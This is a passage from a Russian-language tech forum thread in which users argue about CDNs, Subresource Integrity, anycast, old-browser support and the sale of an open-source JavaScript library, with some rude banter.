ну мы все понимаем ведь, каковы эти архитекторы уровня свечных заводиков?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #180

192. Сообщение от Аноним (192), 26-Июн-24, 17:52   +/
>на основе кода из репозитория с форком, созданным изначальным автором проекта
>1. сделать популярную либу
>2. монетизировать через продажу
>3. сделать форк, повторить с ним пункты 1-2
>4. PROFIT!!!!

Автор молодец. Не из тех мамонтов, вроде тех, что на https://xkcd.com/2347/ изображены, а за деньги либу разрабатывает и сопровождает. В немамонтах - пользователи сайтов, использующих эту либу. Владельцы же сайтов - в доле - им бесплатную либу для развития их бизнеса, с них - ресурсы браузеров посетителей их сайтов, отличная сделка.


Ответить | Правка | Наверх | Cообщить модератору

193. Сообщение от Аноним (193), 26-Июн-24, 17:57   +/
Ну это вы просто ничего сложнее сайтиков на вордпрессах-джумлах не делали. Попробуйте сделать аналог GMail или Google Docs, так, чтобы было не менее юзабельно, чем на десктопе, и не тормозило так, как оно тормозит у Гугла :) Сразу все новые фичи браузеров окажутся далеко не бесполезными.

А когда для банального контентного сайтика тащат весь современный стек, я и сам удивляюсь, конечно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #32 Ответы: #210, #232

194. Сообщение от Вы забыли заполнить поле Name (?), 26-Июн-24, 18:29   +1 +/
За использование таких сервисов (еще до проблемы) нужно премию Дарвина выдавать. Итог предсказуем.
Ответить | Правка | Наверх | Cообщить модератору

195. Сообщение от Вы забыли заполнить поле Name (?), 26-Июн-24, 18:30   +/
А нельзя версию в CDN зафиксировать по хэшу от контента?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2

196. Сообщение от YetAnotherOnanym (ok), 26-Июн-24, 18:33   +2 +/
> коммерческую значимость скорости загрузки сайта

Для обеспечения необходимой скорости загрузки сайта в ситуации, когда она коммерчески значима, надо не на CDN деньги тратить, а вызвать сотрудника, ответственного за сайт и за скорость его загрузки, загрузить при нём "/" при нажатой F12, и спросить, какого х@я для простейшей странички грузятся стопиццот файлов js и css, после чего высечь розгам и и вышвырнуть с волчьим билетом.
Так что - хорошая попытка, отдел маркетинга CDN-провайдера, но нет.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #115

197. Сообщение от YetAnotherOnanym (ok), 26-Июн-24, 18:59   +/
> Загружаются они быстро

Каждый в отдельности, на фоне остального хлама - да, не очень долго. Ну, добавит каждый свои несколько секунд в общее время загрузки страницы.
> всего один раз

Это если заголовки правильно выставлены. А зачем хозяину ЦДНа позволять твоему броузеру кэшировать фонт? Ведь тогда при следующем твоём посещении этого сайта он не получит реквеста с реферером  и печенькой, и не сможет записать в своих логах, с каких страниц твой броузер обратщался за фонтом. Что он тогда продавать будет?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #151

198. Сообщение от YetAnotherOnanym (ok), 26-Июн-24, 19:06   +/
Конверсию повышает кислородное дутьё, а не вот это вот.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45

199. Сообщение от penetrator (?), 26-Июн-24, 19:09   +/
потому что в той же ветке первый же ответ был

"Если ты не контролируешь, какой исполняется код - то г*****но ты, а не программист. "

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #79 Ответы: #201

200. Сообщение от penetrator (?), 26-Июн-24, 19:13   –1 +/
> На самом деле, настроить pdns + geoip backend и десяток vrrp-пар варнишей
> в разных ДЦ не так уж сложно и дорого.
> Другое дело — далеко не все понимают коммерческую значимость скорости загрузки сайта.
> Вот выше толпа "одминов" в свитерах с аленями™ думает, что CDN
> — бесполезная выдумка девляпсов®.

так он и не нужен, кто мешает тебе сделать сайт доступный в разных географических регионах? почему ты вперся в CDN? ))) притом чаще всего тормознуто и дорого если от гипескейлеров всяких и отдавать будет только статику

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #115 Ответы: #202

201. Сообщение от Аноним (206), 26-Июн-24, 19:43   +/
> тема соответствия оригинального проекта и форка не трогалась в этой ветке
> потому что в той же ветке первый же ответ был "Если ты не контролируешь...

Ты же сам ответил на это "насчет контроля, есть такое понятие как hash функция" со ссылкой на Subresource Integrity, который буквально нужен для проверки соответствия кода.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #199 Ответы: #212

202. Сообщение от Аноним (206), 26-Июн-24, 19:47   –1 +/
> так он и не нужен, кто мешает тебе сделать сайт доступный в разных географических регионах?

Чел, ты прежде чем умничать  хотя бы узнал, что такое пинг и от чего он зависит.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #200 Ответы: #213

203. Сообщение от Аноним (206), 26-Июн-24, 19:57   –2 +/
> Ты ещё флеш вспомни и ActiveX.

И чертовы Java апплеты.

Как послушать старпёров, так веб раньше вообще конфеткой был. Хорошо, что такого веба больше нет...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #181

204. Сообщение от Аноним (-), 26-Июн-24, 20:43   +/
> Выбирай любую:

Ты не понял ещё, что я не собираюсь этого делать? Я не вижу смысла на пальцах объяснять азы человеку, который рассматривает слово "официальный" не как маркетинговый баззворд, а на полном серьёзе. Нет смысла, потому что писать тебе здесь 40k слов о том, что такое истина, как она устанавливается, что такое доверие и из чего оно складывается, какие модели угроз бывают, какие проблемы митигации этих угроз возникают, и какие инструменты есть для работы с разными угрозами.

Я на полном серьёзе тебе говорю: это требует высшего образования. Либо ты можешь попробовать в режиме самообучения, но будь готов к тому, что это займёт больше времени, чем 5 лет в ВУЗе.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #178 Ответы: #206

205. Сообщение от Аноним (205), 26-Июн-24, 21:31   +/
Хостясь на AWS ты платишь за время работы, если к твоему сайту нет запросов, то ты не платишь ничего. А если к нему прилетело овердохрена, то ты банкрот. Я подозреваю, что это и приводит к тому, что люди избегают хостить что-либо, а когда надо, хостят по минимуму.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

206. Сообщение от Аноним (206), 26-Июн-24, 22:09   +/
> Нет смысла, потому что писать тебе здесь 40k слов о том, что такое истина, как она устанавливается, что такое доверие и из чего оно складывается, какие модели угроз бывают, какие проблемы митигации этих угроз возникают, и какие инструменты есть для работы с разными угрозами.

Я у тебя спросил, как ты ставишь софт на свой комп. Какие к черту истина и доверие? С тобой все хорошо?

> Я на полном серьёзе тебе говорю: это требует высшего образования.

Подскажи, в каком институте так учат пускать пыль в глаза? Я тоже хочу научиться лить столько пафосной воды про истину и метамодели без какой-либо конкретики.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #204 Ответы: #207

207. Сообщение от Аноним (-), 26-Июн-24, 22:51   –1 +/
> Я у тебя спросил, как ты ставишь софт на свой комп.

Я не вижу никаких причин тебе это рассказывать. В частности в силу вопросов безопасности. Есть такие понятия как "security through obscurity" и "неуловимый Джо", я полагаюсь на них в частности.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #206

209. Сообщение от Аноним (8), 27-Июн-24, 01:54   +/
Назови из тех стран такие, что массово покупают опенсорсные проекты под раздачу кала в будущем.
Мне единственный пример приходит продажа Adblock Plus, но там даже рядом таким не пахло, просто
они монетизировались на неназойливой реклами например как тут на опеннете.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42 Ответы: #211

210. Сообщение от Аноним (210), 27-Июн-24, 02:37   +1 +/
А каждому веб-сайту нужна сложность уровня офисного пакета? Такие являются исключением из большинства.

З.Ы: Лучше просто установить MS Office 97, чем юзать гугл доки.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #193

211. Сообщение от нах. (?), 27-Июн-24, 07:17   +/
покупатель ублока вроде был из правильной страны?

Ну и что такое неназойливая реклама - каждый решает сам. Этот вот китаец решил что пара окошек с онлайн-казино вполне неназойлива, ты ж наверное хочешь проиграть пару тыщ?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #209

212. Сообщение от penetrator (?), 27-Июн-24, 07:33   +/
ну так это же был не мой коментарий, мы сейчас про контекст говорим

что-то ты заблудился в трех березках

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #201 Ответы: #214

213. Сообщение от penetrator (?), 27-Июн-24, 07:41   –1 +/
>> так он и не нужен, кто мешает тебе сделать сайт доступный в разных географических регионах?
> Чел, ты прежде чем умничать  хотя бы узнал, что такое пинг
> и от чего он зависит.

чел ты если ничерта не понимаешь, что говоришь, иди почитай про anycast и потом мне сказки рассказывай про сферический пинг в вакууме, когда тебе edge роутер на твой пинг ответит, а не твой хост  

вот откуда вы "всезнающие" лезете? ну убирали бы свои дворы, максимум было бы грязно вокруг

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #202 Ответы: #215

214. Сообщение от Аноним (214), 27-Июн-24, 08:29   +/
> ну так это же был не мой коментарий, мы сейчас про контекст говорим

Вот это не твой комментарий?

https://www.opennet.me/openforum/vsluhforumID3/134114.html#61

> что-то ты заблудился в трех березках

Нет, это ты что-то прикидываешся валенком.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #212

215. Сообщение от Аноним (214), 27-Июн-24, 08:46   –1 +/
> почему ты вперся в CDN?
> иди почитай про anycast

Это фантастика: недоумевать, зачем нужен CDN и тут же советовать почитать про anycast, который лежит в его основе.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #213 Ответы: #229

217. Сообщение от макак (?), 27-Июн-24, 09:03   +/
они прост строчки копируют, так модно
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

219. Сообщение от фф (?), 27-Июн-24, 11:16   +/
дак вам и намекают, что у одного сайта посетителей больше чем в сотню раз меньше, чем у сервиса, которым весь мир пользуется.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #189

220. Сообщение от фф (?), 27-Июн-24, 11:23   +/
так то  никто не запрещал cgi при ошибке "неправильно заподнено поле" заполнять поля уже введенными данными, чтоб не пришлось всё заново делать.
Тут жаваскрипт не нужен. Но да, на каждое действие надо перегружать страницу, целиком.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #175 Ответы: #221

221. Сообщение от нах. (?), 27-Июн-24, 11:39   +/
да, но это тебе ДВА раза на потрахаться - один - проверить валидность, а второй - отдельно отличать перезагрузку такой формы от случая "юзер открыл ее в первый раз".

А программист скотина ленивая и пока ее не пнут - не программировает.

Год вон ушел на то чтоб свои же счета можно было выбрать из списка а не копипастить из соседнего окошка вручную.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #220 Ответы: #222

222. Сообщение от фф (?), 27-Июн-24, 11:48   +/
не надо различать - заполняем все что пришло в нужных полях в запросе. Первый раз это будут пустые значения, потом - то что пользователь вводил.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #221

224. Сообщение от n00by (ok), 27-Июн-24, 13:50   –1 +/
>> Оттуда же, откуда ты знаешь "А у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою варсию."
> Кто бы мог подумать, что один сервер слабее, чем сотня серверов раскиданых
> по всему земному шару.
> Опеннетная логика как всегда пробивает дно.

Да где тут логика? У тебя есть данные по его серваку? Нет. Ты даже считать не умеешь: "100% меньше мощностей" даёт в результате 0. Зато выводы делать горазд. И на предположения оппонента сразу же удивляешься, откуда он взял цифры. Точно так же придумал, при этом у него явно больше опыта.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #189 Ответы: #226

225. Сообщение от n00by (ok), 27-Июн-24, 13:55   +/
Пузыри имеют свойство лопаться.) Одноглазики весьма настойчиво суёт, да. Наверное, очень хотят меня там видеть.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #173

226. Сообщение от Аноним (214), 27-Июн-24, 15:42   +/
> Да где тут логика? У тебя есть данные по его серваку?

Какие тебе нужны данные, чтобы понять, что при всех прочих равных у одного сервера меньше сощностей, чем у 10?

> Ты даже считать не умеешь: "100% меньше мощностей" даёт в результате 0.

А ты читать умеешь? В контексте фразы "у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою версию" проценты означают вероятность вероятнось.

Я не писал "на 100% меньше" или "в 100% меньше". Объясни, что ты считал?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #224 Ответы: #228

227. Сообщение от Аноним (227), 27-Июн-24, 16:56   +/
В настоящее время для старых браузеров успешно задействуется babel, у которого свой полифил-плагин. Так что, проблемы сабжа не должны сказаться на поддержке старых браузеров.
Ответить | Правка | Наверх | Cообщить модератору

228. Сообщение от n00by (ok), 27-Июн-24, 17:41   +/
>> Да где тут логика? У тебя есть данные по его серваку?
> Какие тебе нужны данные, чтобы понять, что при всех прочих равных у
> одного сервера меньше сощностей, чем у 10?

Для начала, покажи данные по количеству серверов, что у него есть. Подтверди свою гипотезу про 1.

>> Ты даже считать не умеешь: "100% меньше мощностей" даёт в результате 0.
> А ты читать умеешь? В контексте фразы "у твоего сервака 100% меньше
> мощностей, чем у CDN, чтобы хостить свою версию" проценты означают вероятность
> вероятнось.

Я и прочёл: мастер риторики пытался написать красиво, а показал знание арифметики.

> Я не писал "на 100% меньше" или "в 100% меньше". Объясни, что
> ты считал?

Я считаю, что формулу полной вероятности ты в глаза не видел, стало быть не мог на неё ссылаться.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #226

229. Сообщение от penetrator (?), 27-Июн-24, 19:30   +/
>> почему ты вперся в CDN?
>> иди почитай про anycast
> Это фантастика: недоумевать, зачем нужен CDN и тут же советовать почитать про
> anycast, который лежит в его основе.

ты совсем тугой? тебе же сказали что можно географически разнести само приложение, а не только статику из CDN

и нет anycast не лежит в основе CDN, в частности в Akamai это обычный geo DNS

я ж говорю не лезь со своим чуркадевелопмент инкорпорейтед

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #215

230. Сообщение от Аноним (230), 28-Июн-24, 00:03   +/
Не понимаю зачем поддерживать старый хлам? А про альтернативно одаренных тут правильно говорили, тащат весь стек там где это на фиг не надо
Ответить | Правка | Наверх | Cообщить модератору

232. Сообщение от Аноним (233), 28-Июн-24, 07:11   +/
Пусть лучше вэбщики мучаются. Работа у них такая. Да и существовали же как–то наовороченный gmail и прочее в каком–то там году когда фич было не так много.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #193

233. Сообщение от Аноним (233), 28-Июн-24, 07:22   +/
Я надеюсь на некий здравый смысл уберегающий от бесконечного раздувания и накручивания свистелок вместе с перделками а также постоянного переделывания всего в соответсвии с новыми возможностями в браузирах. Ещё мне кажется что где–то там существует сотрудник у которого на душе становится теплее от осознания того что люди пользующиеся его HTML страничками могут делать это из Internet explorer 6. А по поводу денег, то они и так их сжигаю оплачивая работу кучи вэбщиков со знанием всяких фреймворков.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #77

235. Сообщение от nuhuh (?), 29-Июн-24, 18:50   +/
> Чтобы я с Windows XP и MyPal (идеально если с Internet explorer 6) мог ими пользоваться.

если заплатишь им за поддержку своего 6 ишака несколько десятков тысяч евро - будет поддержка

но большинство людей со здравым рассудком сидят на хромиуме или сафари последних версий. ну, может, 2 калеки на фаерфоксе

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65


Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру